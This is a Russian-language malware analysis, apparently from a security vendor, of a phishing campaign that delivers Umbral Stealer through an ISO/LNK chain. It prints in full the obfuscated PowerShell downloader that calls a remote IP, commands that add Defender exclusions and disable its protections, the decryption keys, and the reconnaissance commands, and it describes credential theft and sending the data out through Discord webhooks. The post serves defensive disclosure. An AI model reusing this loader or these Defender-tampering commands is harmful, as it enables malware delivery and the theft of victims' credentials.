Как бесплатное ПО похищает пароли у российских компаний
Атакующие выбрали довольно тривиальный, но все еще очень эффективный способ доставки — фишинговые письма. Тем не менее в качестве вложения злоумышленники использовали не документы Microsoft Office, а ISO‑файлы. Такой файл представляет собой образ оптического диска и после открытия пользователем монтируется как дополнительный в системе. Смонтированный диск содержит LNK‑файл с именем «План Рейдеров.lnk», открытие которого и запустит процесс компрометации системы жертвы.
Сразу после открытия LNK‑файла с помощью интерпретатора PowerShell осуществляется запуск файла MsMpEng.hta
с удаленного сервера:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe . $env:C:\W*\S*2\m*h?a.* 'http://46.175.149.13/MsMpEng.hta'
MsMpEng.hta
содержит VBS‑скрипт, который расшифровывает массив путем вычитания из каждого элемента числа 60516, переводит этот массив в строку и вызывает ее как команду:
powershell.exe" -ExecutionPolicy UnRestricted function ebdB($aLfxOjmGdGEUS, $zAiPEkMOejCWTcFA){[IO.File]::WriteAllBytes($aLfxOjmGdGEUS, $zAiPEkMOejCWTcFA)};function qxgMpLMjmzDowRlT($aLfxOjmGdGEUS){if($aLfxOjmGdGEUS.EndsWith((rdcviFZqRnwcdbvH @(74576,74630,74638,74638))) -eq $True){rundll32.exe $aLfxOjmGdGEUS }elseif($aLfxOjmGdGEUS.EndsWith((rdcviFZqRnwcdbvH @(74576,74642,74645,74579))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $aLfxOjmGdGEUS}elseif($aLfxOjmGdGEUS.EndsWith((rdcviFZqRnwcdbvH @(74576,74639,74645,74635))) -eq $True){misexec /qn /i $aLfxOjmGdGEUS}else{Start-Process $aLfxOjmGdGEUS}};function hFmIYHdonzcFhY($RNyieqzJRlYpvCPkF){$LEwHqecvjAoI = New-Object (rdcviFZqRnwcdbvH @(74608,74631,74646,74576,74617,74631,74628,74597,74638,74635,74631,74640,74646));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$zAiPEkMOejCWTcFA = $LEwHqecvjAoI.DownloadData($RNyieqzJRlYpvCPkF);return $zAiPEkMOejCWTcFA};function rdcviFZqRnwcdbvH($jcTJtVjev){$wFHXnAkiLaZC=74530;$tRBkRaiWmupKBiJ=$Null;foreach($EgCggGKPy in $jcTJtVjev){$tRBkRaiWmupKBiJ+=[char]($EgCggGKPy-$wFHXnAkiLaZC)};return $tRBkRaiWmupKBiJ};function pjDerNYZPF(){$qKSYbuAHIBPwW = $env:AppData + '\';$ANpF = $qKSYbuAHIBPwW + 'Oilio.bat'; if (Test-Path -Path $ANpF){qxgMpLMjmzDowRlT $ANpF;}Else{ $oOOiiotnzQliM = hFmIYHdonzcFhY (rdcviFZqRnwcdbvH @(74634,74646,74646,74642,74588,74577,74577,74582,74584,74576,74579,74585,74583,74576,74579,74582,74587,74576,74579,74581,74577,74609,74635,74638,74635,74641,74576,74628,74627,74646));ebdB $ANpF $oOOiiotnzQliM;qxgMpLMjmzDowRlT $ANpF;};;;;}pjDerNYZPF;
Эта команда загружает и запускает файл с удаленного сервера. Если файл имеет расширение .dll
, используется rundll32.exe
, если .ps1
, то powershell.exe
, если .msi — msiexec.exe
. В остальных случаях файл запускается без использования дополнительных средств.
В данном случае с удаленного сервера загружается файл Oilio.bat
, который сохраняется в папку C:\Users\%Имя_пользователя%\AppData\Roaming
.
Загруженный BAT‑файл копирует powershell.exe
из C:\Windows\System32
в C:\Users\%Имя_пользователя%\AppData\Roaming\Oilio.bat.exe
и добавляет его в исключения Windows Defender:
"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\%имя_пользователя%\AppData\Roaming\Oilio.bat.exe'
После этого запускает сценарий, который извлекает из Oilio.bat
строку Base64, переводит ее в байты, расшифровывает их с помощью AES‑256‑CBC с ключом AA778CAE81AA8E082B9DC1B4C43D7170A89749703CE570C71028ABF2EAC4D7E3
и инициализирующим вектором 81C41ECFD66FEDE6888118B6CF1A4DF8
, после чего распаковывает полученные данные с помощью алгоритма GZip.
Полученный в результате .NET‑файл проверяет, является ли среда виртуальной машиной VMware, VirtualBox, Hyper‑V или QEMU, используя поля Manufacturer и Model из WMI‑запроса Select * from Win32_ComputerSystem
, и подключен ли к процессу отладчик. Если среда не является виртуальной машиной и отладчик не подключен, продолжает работу. Далее из ресурсов PE извлекается ресурс payload.exe
, который расшифровывается AES‑256‑CBC с ключом 214E766E9025CDD3442F90E7C36E41A80A7B4DE93EACD4B17D10F083935EAD32
и IV 83E8EF88AFB1FD9168733393A3268AFE
и распаковывается при помощи алгоритма GZip.
Полученный файл представляет собой Umbral Stealer. Стилер может добавлять путь к своему телу в исключения, а также изменять настройки Windows Defender:
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
В случае если стилер запущен не с административными привилегиями, он предложит пользователю их предоставить.
Стилер может удалять себя следующей командой:
cmd.exe" /c ping localhost && del /F /A h [путь к телу файла]
Также стилер добавляет своему телу атрибуты «Скрытый» и «Системный»:
attrib.exe +h +s [путь к телу файла]
Для сбора информации о скомпрометированной системе используется WMI. Так, для получения уникального идентификатора системы используется следующая команда:
wmic csproduct get uuid
Для получения информации о видеоадаптере используется следующая команда:
wmic path win32_VideoController get name
Сбор информации о размере диска системы осуществляется следующим образом:
wmic computersystem get totalphysicalmemory
Данные о версии операционной системы стилер получает следующей командой:
wmic os get Caption
Данные о процессоре стилер получает из реестра при помощи PowerShell:
powershell.exe Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER
Для получения информации о геолокации и об IP‑адресе скомпрометированной системы стилер осуществляет запрос по следующему URL:
http://ip-api[.]com/json/?fields=225545
Чтобы закрепиться в скомпрометированной системе, стилер копирует себя в папку автозагрузки под произвольным именем с расширением .scr
.
Стилер позволяет атакующим извлечь аутентификационные данные из следующих приложений:
- Brave,
- Chrome,
- Chromium,
- Comodo,
- Edge,
- Epic Privacy,
- Iridium,
- Opera,
- Opera GX,
- Slimjet,
- UR Browser,
- Vivaldi,
- Yandex,
- Roblox,
- Minecraft,
- Discord.
Кроме того, стилер может создавать снимки с экрана, а также делать снимки с использованием веб‑камеры.
Собранные данные сохраняются в архив с именем Umbral-{Environment.MachineName}.zip
и выгружаются с использованием Discord Webhooks.
Как показывает практика расследования инцидентов со стилерами, атакующие часто используют электронную почту для первоначального доступа в корпоративную сеть. Для защиты почты можно применять специализированные сервисы, помогающие фильтровать нежелательные письма. Одно из таких решений — сервис BI.ZONE CESP. Он избавляет компании от проблемы нелегитимных писем, инспектируя каждое электронное сообщение. При этом используется более 600 механизмов фильтрации, реализованных на основе машинного обучения, статистического, сигнатурного и эвристического анализа. Такая проверка не задерживает доставку безопасных писем. А чтобы иметь возможность остановить развитие кибератаки на любой ступени ее жизненного цикла, мы рекомендуем доверить экспертам процессы выявления, реагирования и предупреждения киберугроз. Одним из решений может быть подключение сервиса BI.ZONE TDR, который объединяет в себе комплекс технологий нашей собственной разработки и работу с данными threat intelligence от управления киберразведки BI.ZONE.